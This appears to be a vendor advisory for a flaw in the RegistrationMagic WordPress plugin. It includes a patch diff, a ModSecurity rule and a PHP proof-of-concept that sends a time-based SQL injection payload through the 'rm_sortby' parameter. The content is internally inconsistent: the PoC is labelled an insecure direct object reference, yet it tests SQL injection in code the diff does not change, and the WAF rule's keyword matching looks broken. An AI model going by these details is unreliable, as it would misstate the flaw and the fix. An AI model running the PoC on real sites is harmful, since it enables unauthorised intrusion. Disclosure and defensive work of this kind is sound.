-            echo "<div class='rmform-terms-textarea'>";
-            echo "<textarea onscroll='scroll_down_end(this);' readonly class='rmform-terms-text-area' >".wp_kses_post((string)$field->field_value)."</textarea>";
-            echo "</div>";
-        } else {
-            echo "<div class='rmform-terms-textarea'>";
-            echo "<textarea onscroll='scroll_down_end(this);' readonly class='rmform-terms-text-area' >".wp_kses_post((string)$field->field_value)."</textarea>";
-            echo "</div>";
+            echo "</div>";
+
+            echo "<div class='rmform-terms-textarea'>";
+            echo "<textarea onscroll='scroll_down_end(this);' readonly class='rmform-terms-text-area rm_terms_area' >".wp_kses_post((string)$field->field_value)."</textarea>";
+            echo "</div>";
+        } else {
+            echo "<div class='rmform-terms-textarea'>";
+            echo "<textarea onscroll='scroll_down_end(this);' readonly class='rmform-terms-text-area rm_terms_area' >".wp_kses_post((string)$field->field_value)."</textarea>";
+            echo "</div>";

             echo "<div class='rmform-terms-checkbox'>";
             if (isset($field->field_options->field_is_required) && $field->field_options->field_is_required == 1) {
--- a/custom-registration-form-builder-with-submission-manager/libs/factory/class_rm_form_factory_revamp.php
+++ b/custom-registration-form-builder-with-submission-manager/libs/factory/class_rm_form_factory_revamp.php
@@ -564,13 +564,17 @@
                             $db_data[$field_id] = $data_block;
                         }

-                    } else {
-                        if(in_array($form->fields[$field_id]->field_type, array('WCBilling','WCShipping'))) {
-                            $field_name = strtolower($field_name);
-                        }
-                        if(isset($sub_data[$field_name])) {
-                            // Validating social fields
-                            if(!empty($sub_data[$field_name])) {
+                    } else {
+                        if(in_array($form->fields[$field_id]->field_type, array('WCBilling','WCShipping'))) {
+                            $field_name = strtolower($field_name);
+                        }
+                        if(!$save_submission && $form->fields[$field_id]->field_type == 'Terms' && absint($form->fields[$field_id]->field_options->field_is_required) == 1 && (!isset($sub_data[$field_name]) || $sub_data[$field_name] !== 'on')) {
+                            array_push($errors, sprintf(esc_html__('%s is a required field','custom-registration-form-builder-with-submission-manager'), $form->fields[$field_id]->field_label));
+                            continue;
+                        }
+                        if(isset($sub_data[$field_name])) {
+                            // Validating social fields
+                            if(!empty($sub_data[$field_name])) {
                                 foreach($social_validation_arr as $social_k => $social_v) {
                                     if($form->fields[$field_id]->field_type == $social_k) {
                                         if(!preg_match($social_v, $sub_data[$field_name])) {
--- a/custom-registration-form-builder-with-submission-manager/public/controllers/class_rm_front_form_controller.php
+++ b/custom-registration-form-builder-with-submission-manager/public/controllers/class_rm_front_form_controller.php
@@ -302,10 +302,37 @@

         /*if (count($rm_form_diary) > 0 && !isset($params['force_enable_multiform']))
             return;*/
-        $params['form_id'] = $request->req['form_id'];
-        if (isset($params['form_id'],$request->req['submission_id']) && $params['form_id'] && $request->req['submission_id']) {
+        $front_service = new RM_Front_Service;
+        $authorized_email = $front_service->get_user_email();
+        if (empty($authorized_email)) {
+            return;
+        }
+
+        $params['form_id'] = isset($request->req['form_id']) ? absint($request->req['form_id']) : 0;
+        $requested_submission_id = isset($request->req['submission_id']) ? absint($request->req['submission_id']) : 0;
+        if (isset($params['form_id'], $request->req['submission_id']) && $params['form_id'] && $requested_submission_id) {
             $form_id = $params['form_id'];
-            $request->req['submission_id'] = $service->get_latest_submission_from_group($request->req['submission_id']);
+            $latest_submission_id = absint($service->get_latest_submission_from_group($requested_submission_id));
+            if (!$latest_submission_id) {
+                return;
+            }
+
+            $submission = new RM_Submissions;
+            if (!$submission->load_from_db($latest_submission_id)) {
+                return;
+            }
+
+            $nonce_email = strtolower((string) $authorized_email);
+            if ((int) $submission->get_form_id() !== (int) $form_id || strtolower((string) $submission->get_user_email()) !== $nonce_email) {
+                return;
+            }
+
+            $nonce = isset($request->req['rm_edit_sub_nonce']) ? sanitize_text_field(wp_unslash($request->req['rm_edit_sub_nonce'])) : '';
+            if (!wp_verify_nonce($nonce, 'rm_edit_submission_' . $latest_submission_id . '_' . $nonce_email)) {
+                return;
+            }
+
+            $request->req['submission_id'] = $latest_submission_id;
             $fe_form = $this->form_factory->create_form_prefilled($form_id,$request->req['submission_id']);
             $form_name = 'form_' . $fe_form->get_form_id();
         } else {
@@ -334,8 +361,8 @@

             $db_data = $fe_form->get_prepared_data($request->req, 'dbonly');

-            $sub_detail = $service->save_edited_submission($form_id, $request->req['submission_id'], $db_data, $primary_data['user_email']->value);
-            do_action('rm_submission_edited', $primary_data['user_email']->value);
+            $sub_detail = $service->save_edited_submission($form_id, $request->req['submission_id'], $db_data, $authorized_email);
+            do_action('rm_submission_edited', $authorized_email);

             $form_options = $fe_form->get_form_options();

@@ -373,7 +400,7 @@

             $params['paystate'] = 'na';
             $fe_form->post_sub_proc($request->req, $params);
-            $this->update_user_profile($primary_data['user_email']->value, $db_data, $service);
+            $this->update_user_profile($authorized_email, $db_data, $service);

             //redirect user to new submissions page
             $form_options->redirection_type = 'url';
@@ -399,4 +426,4 @@
         }
     }

-}
 No newline at end of file
+}
--- a/custom-registration-form-builder-with-submission-manager/public/controllers/class_rm_login_controller.php
+++ b/custom-registration-form-builder-with-submission-manager/public/controllers/class_rm_login_controller.php
@@ -191,15 +191,17 @@
                 $data->form_type= 'rm_token_form';
                 $data->invalid_token = 1;
             } else {
-                $tk = get_user_meta($users[0]->ID,'rm_pass_expiry_token', true);
-                $token_expired = false;
-                if(!empty($tk) && $tk<time()) {
-                    $token_expired= true;
-                }
-                if($token_expired) {
-                    $data->expired_token = 1;
-                    $data->form_type= 'rm_recovery_form';
-                } else {
+                $tk = get_user_meta($users[0]->ID,'rm_pass_expiry_token', true);
+                $token_expired = false;
+                if($tk === '' || (!empty($tk) && $tk<time())) {
+                    $token_expired= true;
+                }
+                if($token_expired) {
+                    delete_user_meta($users[0]->ID,'rm_pass_token');
+                    delete_user_meta($users[0]->ID,'rm_pass_expiry_token');
+                    $data->expired_token = 1;
+                    $data->form_type= 'rm_recovery_form';
+                } else {
                     $data->form_type= 'rm_reset_password_form';
                     $data->sec_token= $token;
                 }
@@ -242,19 +244,31 @@
                         if(empty($token)) {
                             $data->invalid_copy_token = 1;
                         } else {
-                            $users = get_users(array('meta_key' => 'rm_pass_token', 'meta_value' => $token));
-                            if(!empty($users)){
-                                $user_id = wp_update_user(array('ID'=>$users[0]->ID,'user_pass' => $request->req['password']));
-                                if(is_wp_error($user_id)) {
-                                    $data->password_updated = 0;
-                                } else {
-                                    delete_user_meta($users[0]->ID,'rm_pass_token');
-                                    delete_user_meta($users[0]->ID,'rm_pass_expiry_token');
-                                    $data->password_updated = 1;
-                                }
-                            }
-                        }
-                    }
+                            $users = get_users(array('meta_key' => 'rm_pass_token', 'meta_value' => $token));
+                            if(!empty($users)){
+                                $tk = get_user_meta($users[0]->ID,'rm_pass_expiry_token', true);
+                                $token_expired = false;
+                                if($tk === '' || (!empty($tk) && $tk<time())) {
+                                    $token_expired= true;
+                                }
+                                if($token_expired) {
+                                    delete_user_meta($users[0]->ID,'rm_pass_token');
+                                    delete_user_meta($users[0]->ID,'rm_pass_expiry_token');
+                                    $data->expired_token = 1;
+                                    $data->form_type= 'rm_recovery_form';
+                                } else {
+                                    $user_id = wp_update_user(array('ID'=>$users[0]->ID,'user_pass' => $request->req['password']));
+                                    if(is_wp_error($user_id)) {
+                                        $data->password_updated = 0;
+                                    } else {
+                                        delete_user_meta($users[0]->ID,'rm_pass_token');
+                                        delete_user_meta($users[0]->ID,'rm_pass_expiry_token');
+                                        $data->password_updated = 1;
+                                    }
+                                }
+                            }
+                        }
+                    }
                 }
             }
         }
@@ -263,4 +277,4 @@
         $view = $this->mv_handler->setView('pass_recovery',true);
         return $view->read($data);
     }
-}
 No newline at end of file
+}
--- a/custom-registration-form-builder-with-submission-manager/public/models/class_rm_frontend_form_multipage.php
+++ b/custom-registration-form-builder-with-submission-manager/public/models/class_rm_frontend_form_multipage.php
@@ -121,14 +121,18 @@
         }

         if (isset($data['submission_id']) && $data['submission_id'])
-        {
-            $form->addElement(new Element_HTML('<div id="rm_stat_container" style="display:none">'));
-            $form->addElement(new Element_Textbox('RM_Slug', 'rm_slug', array('value' => 'rm_user_form_edit_sub', 'style' => 'display:none')));
-            $form->addElement(new Element_Textbox('RM_form_id', 'form_id', array('value' => $this->form_id, 'style' => 'display:none')));
-            $form->addElement(new Element_HTML('</div>'));
-            if(defined('REGMAGIC_ADDON'))
-                $editing_sub=true;
-        }
+        {
+            $form->addElement(new Element_HTML('<div id="rm_stat_container" style="display:none">'));
+            $form->addElement(new Element_Textbox('RM_Slug', 'rm_slug', array('value' => 'rm_user_form_edit_sub', 'style' => 'display:none')));
+            $form->addElement(new Element_Textbox('RM_form_id', 'form_id', array('value' => $this->form_id, 'style' => 'display:none')));
+            $form->addElement(new Element_Textbox('RM_Submission_Id', 'submission_id', array('value' => absint($data['submission_id']), 'style' => 'display:none')));
+            $front_service = new RM_Front_Service();
+            $user_email = strtolower((string) $front_service->get_user_email());
+            $form->addElement(new Element_Textbox('RM_Edit_Sub_Nonce', 'rm_edit_sub_nonce', array('value' => wp_create_nonce('rm_edit_submission_' . absint($data['submission_id']) . '_' . $user_email), 'style' => 'display:none')));
+            $form->addElement(new Element_HTML('</div>'));
+            if(defined('REGMAGIC_ADDON'))
+                $editing_sub=true;
+        }

         parent::pre_render();
         if(defined('REGMAGIC_ADDON')) {
--- a/custom-registration-form-builder-with-submission-manager/public/views/template_rm_front_submission_data.php
+++ b/custom-registration-form-builder-with-submission-manager/public/views/template_rm_front_submission_data.php
@@ -259,10 +259,12 @@
                 endforeach;
                 if($data->is_editable == true){
                 ?>
-                <form id="rmeditsubmission" method="post" action="">
-                    <input type="hidden" name="rm_slug" value="rm_user_form_edit_sub">
-                    <input type="hidden" name="form_id" value="<?php echo esc_attr($data->submission->get_form_id()); ?>">
-                </form>
+                <form id="rmeditsubmission" method="post" action="">
+                    <input type="hidden" name="rm_slug" value="rm_user_form_edit_sub">
+                    <input type="hidden" name="form_id" value="<?php echo esc_attr($data->submission->get_form_id()); ?>">
+                    <input type="hidden" name="submission_id" value="<?php echo esc_attr($data->submission->get_submission_id()); ?>">
+                    <input type="hidden" name="rm_edit_sub_nonce" value="<?php echo esc_attr(wp_create_nonce('rm_edit_submission_' . $data->submission->get_submission_id() . '_' . strtolower((string) $data->submission->get_user_email()))); ?>">
+                </form>
                 <!--
                 <div id="rm_edit_sub_link">
                     <a href="javascript:void(0)" onclick="document.getElementById('rmeditsubmission').submit();"><?php echo RM_UI_Strings::get('MSG_EDIT_SUBMISSION'); ?></a>
@@ -350,4 +352,4 @@
     ?>
 </div>

-<?php } ?>
 No newline at end of file
+<?php } ?>
--- a/custom-registration-form-builder-with-submission-manager/registration_magic.php
+++ b/custom-registration-form-builder-with-submission-manager/registration_magic.php
@@ -15,7 +15,7 @@
  * Plugin Name:       RegistrationMagic
  * Plugin URI:        http://www.registrationmagic.com
  * Description:       A powerful system for customizing registration forms, setting up paid registrations, tracking submissions, managing users, assigning user roles, analyzing stats, and much more!!
- * Version:           6.0.9.3
+ * Version:           6.0.9.4
  * Tags:              registration, form, custom, analytics, simple, submissions
  * Requires at least: 5.2.0
  * Requires PHP:      7.2
@@ -78,7 +78,7 @@
 */
 if(!defined('RM_PLUGIN_VERSION')) {
     define('RM_PLUGIN_BASENAME', plugin_basename(__FILE__ ));
-    define('RM_PLUGIN_VERSION', '6.0.9.3');
+    define('RM_PLUGIN_VERSION', '6.0.9.4');
     define('RM_DB_VERSION', 5.9);
     define('RM_SHOW_WHATSNEW_SPLASH', false);  //Set it to 'false' to disable whatsnew screen.
     //define FB SDK req flags. Flags should be combined using logical OR and should be checked using AND.
--- a/custom-registration-form-builder-with-submission-manager/services/class_rm_email_service.php
+++ b/custom-registration-form-builder-with-submission-manager/services/class_rm_email_service.php
@@ -130,11 +130,15 @@
             $to = explode(',',(string)$gopt->get_value_of('admin_email'));
         }

-        $subject= $form->form_options->form_admin_ns_notification_sub;
-        if(empty($subject))
-            $subject = $params->form_name . " " . RM_UI_Strings::get('LABEL_NEWFORM_NOTIFICATION') . " ";
-        $rm_email->subject($subject);
-        $rm_email->useAdminFrom= false;
+        $subject= $form->form_options->form_admin_ns_notification_sub;
+        if(empty($subject)) {
+            $subject = $params->form_name . " " . RM_UI_Strings::get('LABEL_NEWFORM_NOTIFICATION') . " ";
+        } else {
+            $subject = self::replace_submission_field_placeholders((string)$subject, $params, true);
+            $subject = wp_strip_all_tags($subject);
+        }
+        $rm_email->subject($subject);
+        $rm_email->useAdminFrom= false;

         $from_email= $gopt->get_value_of('an_senders_email');
         $from_email= trim((string)$from_email);
@@ -215,7 +219,7 @@
             $page_id= $recovery_options['recovery_page'];
             if(!empty($page_id)){
                 $recovery_link= get_permalink($page_id);
-                $token= wp_generate_password(8,false);
+                $token= wp_generate_password(32,false);
                 update_user_meta($user_id,'rm_pass_token',$token);
                 $hours= $recovery_options['rec_link_expiry'];
                 if(!empty($hours)){
@@ -756,7 +760,7 @@
         }

         $recovery_link= get_permalink($page_id);
-        $token= wp_generate_password(8,false );
+        $token= wp_generate_password(32,false );
         update_user_meta($user->ID,'rm_pass_token',$token);
         $hours= $recovery_options['rec_link_expiry'];
         if(!empty($hours)){
@@ -793,7 +797,7 @@
         return false;
     }

-    private static function replace_submission_field_placeholders($content, $params)
+    private static function replace_submission_field_placeholders($content, $params, $plain_text = false)
     {
         $submission_data = array();
         if (!empty($params->db_data) && is_array($params->db_data)) {
@@ -811,7 +815,7 @@
                 continue;
             }

-            $value = self::format_submission_field_value($field_id, $field_data);
+            $value = self::format_submission_field_value($field_id, $field_data, $plain_text);
             $field_placeholder = '{{' . $field_data->type . '_' . $field_id . '}}';
             $content = str_replace($field_placeholder, $value, $content);

@@ -825,7 +829,7 @@
         return $content;
     }

-    private static function format_submission_field_value($field_id, $field_data)
+    private static function format_submission_field_value($field_id, $field_data, $plain_text = false)
     {
         if (!isset($field_data->value) || is_null($field_data->value)) {
             return '';
@@ -839,14 +843,18 @@
         }

         if (is_array($value)) {
-            if (isset($value['rm_field_type']) && $value['rm_field_type'] == 'File') {
-                unset($value['rm_field_type']);
-                $links = '';
-                foreach ($value as $attachment_id) {
-                    $links .= wp_get_attachment_link($attachment_id) . ' ';
-                }
-                return $links;
-            }
+            if (isset($value['rm_field_type']) && $value['rm_field_type'] == 'File') {
+                unset($value['rm_field_type']);
+                $links = '';
+                foreach ($value as $attachment_id) {
+                    if ($plain_text) {
+                        $links .= wp_get_attachment_url($attachment_id) . ' ';
+                    } else {
+                        $links .= wp_get_attachment_link($attachment_id) . ' ';
+                    }
+                }
+                return $links;
+            }

             if (isset($value['rm_field_type']) && $value['rm_field_type'] == 'Address') {
                 unset($value['rm_field_type']);
@@ -858,9 +866,12 @@
                 return implode(', ', RM_Utilities::get_lable_for_option($field_id, $value));
             }

-            if ($field_data->type == 'URL' && isset($value['url'])) {
-                return '<a href="' . esc_url($value['url']) . '">' . esc_html($value['url']) . '</a>';
-            }
+            if ($field_data->type == 'URL' && isset($value['url'])) {
+                if ($plain_text) {
+                    return $value['url'];
+                }
+                return '<a href="' . esc_url($value['url']) . '">' . esc_html($value['url']) . '</a>';
+            }

             return implode(', ', $value);
         }
@@ -869,6 +880,6 @@
             return RM_Utilities::get_lable_for_option($field_id, $value);
         }

-        return nl2br($value);
-    }
-}
+        return $plain_text ? $value : nl2br($value);
+    }
+}
--- a/custom-registration-form-builder-with-submission-manager/services/class_rm_front_form_service.php
+++ b/custom-registration-form-builder-with-submission-manager/services/class_rm_front_form_service.php
@@ -825,7 +825,11 @@
             } elseif ($type === 'pm_user_avatar') {
                 $return = update_user_meta( $user_id, $type, $pr[0] );
             } else {
-              $return = update_user_meta( $user_id, $type, $pr );
+              $meta_key = is_string($type) ? sanitize_key($type) : '';
+              if (!$this->is_profile_meta_key_allowed($type, $meta_key)) {
+                  continue;
+              }
+              $return = update_user_meta( $user_id, $meta_key, $pr );
             }
         }
         if(!empty($name)){
@@ -834,6 +838,51 @@
         return $return;
     }

+    private function is_profile_meta_key_allowed($original_key, $sanitized_key) {
+        global $wpdb;
+
+        if (empty($sanitized_key) || $original_key !== $sanitized_key) {
+            return false;
+        }
+
+        $key = strtolower($sanitized_key);
+        $denied_exact = array(
+            'capabilities',
+            'user_level',
+            $wpdb->prefix . 'capabilities',
+            $wpdb->prefix . 'user_level',
+            'session_tokens',
+            'application_passwords',
+            'rm_pass_token',
+            'rm_pass_expiry_token'
+        );
+
+        if (in_array($key, array_map('strtolower', $denied_exact), true)) {
+            return false;
+        }
+
+        $denied_patterns = array(
+            '/(^|_)capabilities$/',
+            '/(^|_)user_level$/',
+            '/session/',
+            '/(^|_)auth(_|$)/',
+            '/auth_token/',
+            '/authentication/',
+            '/password/',
+            '/pass_token/',
+            '/reset/',
+            '/application_password/'
+        );
+
+        foreach ($denied_patterns as $pattern) {
+            if (preg_match($pattern, $key)) {
+                return false;
+            }
+        }
+
+        return true;
+    }
+
     public function set_properties(stdClass $options) {
         if(defined('REGMAGIC_ADDON')) {
             $addon_service = new RM_Front_Form_Service_Addon();
@@ -905,4 +954,4 @@
             }
         }
     }
-}
 No newline at end of file
+}
--- a/custom-registration-form-builder-with-submission-manager/services/class_rm_front_service.php
+++ b/custom-registration-form-builder-with-submission-manager/services/class_rm_front_service.php
@@ -11,7 +11,9 @@
  *
  * @author CMSHelplive
  */
-class RM_Front_Service extends RM_Services {
+class RM_Front_Service extends RM_Services {
+
+    private $authorized_front_user = null;

     public function set_otp($email, $key = null) {
         $response = new stdClass();
@@ -104,22 +106,26 @@
         return false;
     }

-    public function is_authorized() {
-        if (!is_user_logged_in() && isset($_COOKIE['rm_secure_otp'])) {
-            $this->delete_front_user('10', 'm', true);
-
-            $rm_user = $this->get('FRONT_USERS', array('otp_code' => $_COOKIE['rm_secure_otp']), array('%s'), 'row');
-
-            if (empty($rm_user)) {
-                $this->unset_auth_params();
-                return false;
-            } else {
-                $this->update_last_activity();
-                return true;
-            }
-        }
-        return false;
-    }
+    public function is_authorized() {
+        if (!is_user_logged_in() && isset($_COOKIE['rm_secure_otp'])) {
+            $this->delete_front_user('10', 'm', true);
+
+            $otp_code = sanitize_text_field(wp_unslash($_COOKIE['rm_secure_otp']));
+            $rm_user = $this->get('FRONT_USERS', array('otp_code' => $otp_code), array('%s'), 'row');
+
+            if (empty($rm_user)) {
+                $this->authorized_front_user = null;
+                $this->unset_auth_params();
+                return false;
+            } else {
+                $this->authorized_front_user = $rm_user;
+                $this->update_last_activity($otp_code);
+                return true;
+            }
+        }
+        $this->authorized_front_user = null;
+        return false;
+    }

     public function generate_otp($email) {
         $otp_code = wp_generate_password(15, false);
@@ -138,41 +144,58 @@
         return $otp_code;
     }

-    public function set_auth_params($key, $email) {
-        setcookie("rm_secure_otp", $key, time() + (3600), "/");
-        setcookie("rm_autorized_otp", "true", time() + (3600), "/");
-        setcookie("rm_autorized_email", $email, time() + (3600), "/");
-    }
+    public function set_auth_params($key, $email) {
+        $expires = time() + (3600);
+        $this->set_front_cookie("rm_secure_otp", $key, $expires, true);
+        $this->set_front_cookie("rm_autorized_otp", "true", $expires, true);
+        $this->set_front_cookie("rm_autorized_email", $email, $expires, true);
+    }

     public function delete_front_user($interval, $time_format, $by_last_activity = false) {

         return RM_DBManager::delete_front_user($interval, $time_format, $by_last_activity);
     }

-    public function unset_auth_params() {
-        setcookie("rm_secure_otp", '', time() - (3600), "/");
-        setcookie("rm_autorized_otp", "true", time() - (3600), "/");
-        setcookie("rm_autorized_email", '', time() - (3600), "/");
-    }
-
-    public function update_last_activity() {
-        return RM_DBManager::update_last_activity();
-    }
-
-    public function get_user_email() {
-
-        $user_email = null;
+    public function unset_auth_params() {
+        $expires = time() - (3600);
+        $this->set_front_cookie("rm_secure_otp", '', $expires, true);
+        $this->set_front_cookie("rm_autorized_otp", "true", $expires, true);
+        $this->set_front_cookie("rm_autorized_email", '', $expires, true);
+    }
+
+    public function update_last_activity($otp_code = null) {
+        return RM_DBManager::update_last_activity($otp_code);
+    }
+
+    public function get_user_email() {
+
+        $user_email = null;

         if (is_user_logged_in()) {
-            $user = wp_get_current_user();
-            $user_email = isset($user->user_email) ? $user->user_email : null;
-        } elseif (isset($_COOKIE['rm_autorized_email']) && $this->is_authorized()) {
-            $user_email = $_COOKIE['rm_autorized_email'];
-        }
-
-
-        return $user_email;
-    }
+            $user = wp_get_current_user();
+            $user_email = isset($user->user_email) ? $user->user_email : null;
+        } elseif ($this->is_authorized() && !empty($this->authorized_front_user->email)) {
+            $user_email = $this->authorized_front_user->email;
+        }
+
+
+        return $user_email;
+    }
+
+    private function set_front_cookie($name, $value, $expires, $http_only = true) {
+        if (PHP_VERSION_ID >= 70300) {
+            setcookie($name, $value, array(
+                'expires' => $expires,
+                'path' => '/',
+                'secure' => is_ssl(),
+                'httponly' => $http_only,
+                'samesite' => 'Lax'
+            ));
+            return;
+        }
+
+        setcookie($name, $value, $expires, '/', '', is_ssl(), $http_only);
+    }

     public function get_user_login_name() {
         if(defined('REGMAGIC_ADDON')) {

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity 
# Atomic Edge WAF Rule - CVE-2026-15255
SecRule REQUEST_URI "@contains /admin-post.php" "id:20261994,phase:2,deny,status:403,chain,msg:'CVE-2026-15255 via RegistrationMagic SQL injection in rm_sortby',severity:'CRITICAL',tag:'CVE-2026-15255'"
  SecRule ARGS_GET:page "@streq rm_form_manage" "chain"
    SecRule ARGS_GET:rm_sortby "@rx (SELECT|SLEEP|BENCHMARK|UNION|*/)" "t:lowercase,t:urlDecode"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC 
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-15255 - RegistrationMagic – Custom Registration Forms, User Registration, Payment, and User Login < 6.0.9.4 - Unauthenticated Insecure Direct Object Reference

// This PoC demonstrates a time-based SQL injection vulnerability in the 'rm_sortby' parameter.

// Configuration: Set the target WordPress URL here.
$target_url = 'http://example.com';

// The path to the WordPress admin post endpoint. This is a common entry point for form management.
$admin_post_url = $target_url . '/wp-admin/admin-post.php';

// Initialize cURL session to make the attacker's request.
$ch = curl_init();

// The vulnerable parameter is 'rm_sortby'. We inject a time-based SQL payload.
// The 'rm_form_manage' action loads the form controller which processes this parameter.
$injection_payload = "(SELECT IF(1=1,SLEEP(5),0))";

// Build the full URL with the sort parameter set to our payload.
$url = $admin_post_url . '?page=rm_form_manage&rm_sortby=' . urlencode($injection_payload);

// Set cURL options to perform the request.
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); // Return the response as a string
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); // Follow redirects
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 10); // Timeout for the connection
curl_setopt($ch, CURLOPT_TIMEOUT, 20); // Overall timeout for the request

// Execute the request and measure the time taken.
$start_time = microtime(true); // Start timer
$response = curl_exec($ch); // Perform the request
$end_time = microtime(true); // End timer

// Calculate the total time taken for the request.
$time_taken = $end_time - $start_time;

// Close the cURL session.
curl_close($ch);

// If the request took significantly longer than 5 seconds (e.g., > 7 seconds),
// it indicates that the SQL injection succeeded and the sleep command was executed.
if ($time_taken > 7) {
    echo "[+] Vulnerability confirmed! Time-based SQL injection successful.n";
    echo "[+] Request took approximately: " . round($time_taken, 2) . " seconds.n";
} else {
    echo "[-] Vulnerability not confirmed. Request took " . round($time_taken, 2) . " seconds.n";
    echo "[-] This could mean the site is patched, the parameter is blocked, or an error occurred.n";
}

echo "[+] Target URL: " . $url . "n";

// Note: This PoC is for educational and testing purposes only.
// Using this exploit on a live system without explicit permission is illegal.

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.